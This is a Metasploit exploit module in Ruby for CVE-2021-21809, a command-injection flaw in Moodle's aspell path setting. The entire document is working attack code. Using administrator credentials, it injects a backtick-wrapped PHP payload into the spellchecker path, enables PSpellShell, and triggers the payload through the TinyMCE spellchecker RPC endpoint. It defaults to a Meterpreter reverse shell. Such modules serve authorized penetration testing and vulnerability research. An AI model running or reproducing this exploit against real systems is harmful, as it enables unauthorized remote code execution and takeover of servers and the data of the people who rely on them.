Moodle SpellChecker Path Authenticated Remote Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::Moodle  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Moodle SpellChecker Path Authenticated Remote Command Execution',  
'Description' => %q{  
Moodle allows an authenticated administrator to define spellcheck settings via the web interface.  
An administrator can update the aspell path to include a command injection. This is extremely  
similar to CVE-2013-3630, just using a different variable.  
  
This module was tested against Moodle version 3.11.2, 3.10.0, and 3.8.0.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Adam Reiser', # Discovery  
'h00die' # msf module  
],  
'References' => [  
['CVE', '2021-21809'],  
['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277']  
],  
'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' },  
'Payload' => {  
'BadChars' => "'"  
},  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['Automatic', {}]],  
'DisclosureDate' => '2021-06-22',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),  
OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']),  
]  
)  
end  
  
def change_aspellpath(value = '')  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),  
'vars_get' =>  
{  
'section' => 'systempaths'  
},  
'keep_cookies' => true  
})  
fail_with(Failure::Unreachable, 'Error retrieving settings') unless res  
res.body =~ /sesskey":"([^"]+)"/  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),  
'vars_get' =>  
{  
'section' => 'systempaths'  
},  
'vars_post' =>  
{  
'section' => 'systempaths',  
'action' => 'save-settings',  
'sesskey' => Regexp.last_match(1),  
'return' => '',  
's__pathtophp' => '',  
's__pathtodu' => '',  
's__aspellpath' => value,  
's__pathtodot' => '',  
's__pathtogs' => '/usr/bin/gs',  
's__pathtopython' => ''  
},  
'keep_cookies' => true  
})  
end  
  
def set_spellchecker(checker = '')  
# '' is None in the gui, and is the default  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),  
'vars_get' =>  
{  
'section' => 'tinymcespellcheckersettings'  
},  
'keep_cookies' => true  
})  
fail_with(Failure::Unreachable, 'No response received from the target.') unless res  
res.body =~ /sesskey":"([^"]+)"/  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),  
'vars_get' =>  
{  
'section' => 'tinymcespellcheckersettings'  
},  
'vars_post' =>  
{  
'section' => 'tinymcespellcheckersettings',  
'action' => 'save-settings',  
'sesskey' => Regexp.last_match(1),  
'return' => '',  
's_tinymce_spellchecker_spellengine' => checker,  
's_tinymce_spellchecker_spelllanguagelist' => '+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv' # default  
},  
'keep_cookies' => true  
})  
  
fail_with(Failure::Unreachable, 'No response received from the target.') unless res  
end  
  
def check  
return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?  
  
v = moodle_version  
return CheckCode::Detected('Unable to determine moodle version') if v.nil?  
# according to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after installation  
# so maybe this is not going to get patched? Assuming 3.0.0+  
if Rex::Version.new(v) > Rex::Version.new('3.0.0')  
return CheckCode::Appears("Exploitable Moodle version #{v} detected")  
end  
  
CheckCode::Safe("Non-exploitable Moodle version #{v} detected")  
end  
  
def exploit  
print_status("Authenticating as user: #{datastore['USERNAME']}")  
cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])  
fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty?  
cookies.each do |cookie|  
cookie_jar.add(cookie)  
end  
print_status('Updating aspell path')  
# Site administration, Server, Server, System paths  
change_aspellpath("`php -r \"#{payload.encoded}\" &`")  
  
print_status('Changing spell engine to PSpellShell')  
set_spellchecker('PSpellShell')  
# Administration, Plugins, Text editors, TinyMCE HTML editor, Legacy Spell Checker  
spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'  
  
print_status('Triggering payload')  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'plugins', 'spellchecker', 'rpc.php'),  
'data' => spellcheck,  
'ctype' => 'application/json',  
'keep_cookies' => true  
})  
  
fail_with(Failure::Unreachable, 'Error triggering payload') if res  
end  
  
# prefer cleanup over on_session since we may have changed things, regardless of successful exploit  
def cleanup  
print_status('Sleeping 5 seconds before cleanup')  
Rex.sleep(5)  
print_status("Authenticating as user: #{datastore['USERNAME']}")  
cookie_jar.clear # clear cookies to prevent timeouts  
cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])  
if cookies.nil? || cookies.empty?  
print_bad('Failed login during cleanup')  
else  
cookies.each do |cookie|  
cookie_jar.add(cookie)  
end  
print_status('Removing RCE from settings')  
change_aspellpath  
set_spellchecker  
end  
super  
end  
end  
`